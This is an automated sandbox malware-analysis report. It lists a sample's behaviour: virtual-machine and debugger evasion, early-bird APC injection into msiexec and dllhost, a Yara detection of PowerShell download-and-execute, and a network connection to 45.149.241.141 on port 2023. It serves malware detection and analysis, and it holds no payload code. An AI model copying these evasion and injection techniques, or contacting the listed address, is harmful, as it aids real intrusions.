Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Windows\System32\wbem\WMIC.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT caption, serialnumber FROM Win32_DiskDrive

Switches to a custom stack to bypass stack traces

Source: C:\Windows\SysWOW64\msiexec.exe	API/Special instruction interceptor: Address: 7FFE2220D044
Source: C:\Windows\SysWOW64\svchost.exe	API/Special instruction interceptor: Address: 7FFE2220D044
Source: C:\Windows\SysWOW64\svchost.exe	API/Special instruction interceptor: Address: 4EBB83A

Source: C:\Windows\System32\dllhost.exe

Code function: GetAdaptersInfo,

17_2_00000255E9C12B70

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5872	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4025	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7542	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2243	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5312	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6812	Thread sleep time: -4611686018427385s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 4420	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Source: C:\Windows\SysWOW64\svchost.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Windows\SysWOW64\svchost.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\System32\svchost.exe

Code function: 12_3_00007DF45B6F0B80 FindFirstFileW,DeleteFileW,FindNextFileW,RemoveDirectoryW,

12_3_00007DF45B6F0B80

Source: C:\Windows\System32\svchost.exe

Code function: 12_3_00007DF45B75D66C GetSystemInfo,

12_3_00007DF45B75D66C

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Adobe	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Source: powershell.exe, 00000005.00000002.1951933890.0000000007C84000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll;
Source: wscript.exe, 00000000.00000002.1674719441.000001F736997000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}8b}W
Source: msiexec.exe, 0000000A.00000003.2012882600.0000000022C10000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: DisableGuestVmNetworkConnectivity
Source: msiexec.exe, msiexec.exe, 0000000A.00000002.2022940955.0000000006A2A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000A.00000002.2022940955.0000000006A85000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2104760989.0000000002A12000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 0000000B.00000002.2104802959.0000000002A5C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWRSVP TCP Service Provider
Source: svchost.exe, 0000000B.00000002.2104760989.0000000002A12000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(
Source: msiexec.exe, 0000000A.00000003.2012882600.0000000022C10000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: EnableGuestVmNetworkConnectivity
Source: powershell.exe, 00000003.00000002.1836359278.000002247DBBC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW$

Source: C:\Windows\System32\wbem\WMIC.exe

Process information queried: ProcessInformation

Hides threads from debuggers

Anti Debugging

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread information set: HideFromDebugger			Jump to behavior

Source: C:\Windows\SysWOW64\msiexec.exe

Process queried: DebugPort

Early bird code injection technique detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 5_2_04F2224E LdrInitializeThunk,

5_2_04F2224E

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 11_3_001E0283 mov eax, dword ptr fs:[00000030h]

11_3_001E0283

HIPS / PFW / Operating System Protection Evasion

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process created / APC Queued / Resumed: C:\Windows\SysWOW64\msiexec.exe

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\svchost.exe

Network Connect: 45.149.241.141 2023

Yara detected Powershell download and execute

Source: Yara match	File source: amsi64_7020.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7020, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 984, type: MEMORYSTR

Allocates memory in foreign processes

Source: C:\Program Files\Windows Media Player\wmpnscfg.exe

Memory allocated: C:\Windows\System32\dllhost.exe base: 255E9C10000 protect: page read and write

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread APC queued: target process: C:\Windows\SysWOW64\msiexec.exe

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\SysWOW64\msiexec.exe base: 4160000	Jump to behavior
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Memory written: C:\Windows\System32\dllhost.exe base: 255E9C10000	Jump to behavior
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Memory written: C:\Windows\System32\dllhost.exe base: 7FF70F3314E0	Jump to behavior

